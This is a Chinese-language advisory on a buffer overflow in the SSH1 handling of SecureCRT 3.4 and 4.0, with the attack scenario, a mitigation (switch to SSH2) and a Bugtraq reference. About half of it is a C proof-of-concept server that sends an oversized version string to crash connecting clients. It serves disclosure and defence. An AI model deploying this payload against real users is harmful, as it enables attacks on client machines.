|
SecureCRT 存在缓冲溢出缺陷
涉及程序:
SecureCRT 3.4 & 4.0
描述:
SecureCRT 存在缓冲溢出缺陷
详细:
SecureCRT 在它的 SSH1 连接代码中存在一个 bug ,如果被攻击者成功利用的话,将能在目标系统上执行任意代码和指令。
当一个 SSH 客户端连接到服务端时,服务端将会发送一个含有主/次号码(major/minor numbers)的 SSH
协议版本字符串和一个被特别指定的不超过40个字符的服务器专用(server-specific)标识符字串。不幸的是在处理这个标识符字串时,如果同时SSH
协议版本也不被支持,将会发生缓冲溢出。
攻击者可以利用此缺陷,将自己机器设置为一台服务器,然后欺骗用户连接到他的服务器上。攻击者可能会欺骗用户说为用户在服务器上建立了一个帐号或通过 dns
欺骗来达到欺骗用户连接到他的服务器的目的
需要注意的是,这只针对 SSH1 ,如果用户选择 SSH2 ,就不会存在此缺陷。
受影响产品:
SecureCRT 3.4 & 4.0
攻击方法:
#include
#include
#include
#include
#define PORT 9988
int main(int argc, char **argv) {
int s, n, i, sz = sizeof(struct sockaddr_in);
struct sockaddr_in local, whatever;
char payload[510];
strcpy(payload, \"SSH-1.1-\");
for (i = 8; i < 508; i++)
payload[i] = \'A\';
payload[508] = \'\\n\';
payload[509] = \'\\0\';
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror(\"socket\");
return 1;
}
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
local.sin_addr.s_addr = INADDR_ANY;
memset(&(local.sin_zero), 0, 8);
if (bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) {
perror(\"bind\");
return 1;
}
if (listen(s, 2) == -1) {
perror(\"listen\");
return 1;
}
printf(\"waiting for connection...\\n\");
if ((n = accept(s, (struct sockaddr *)&whatever, &sz)) == -1) {
perror(\"accept\");
return 1;
}
printf(\"client connected\\n\");
if (send(n, payload, sizeof(payload) - 1, 0) == -1) {
perror(\"send\");
return 1;
}
printf(\"sent string: [%s]\\n\", payload);
close(n);
close(s);
return 0;
}
解决方案:
选择使用 SSH2 ,而不要使用 SSH1 。
附加信息:
无
相关站点:
http://msgs.securepoint.com/cgi-bin/get/bugtraq0207/177.html
|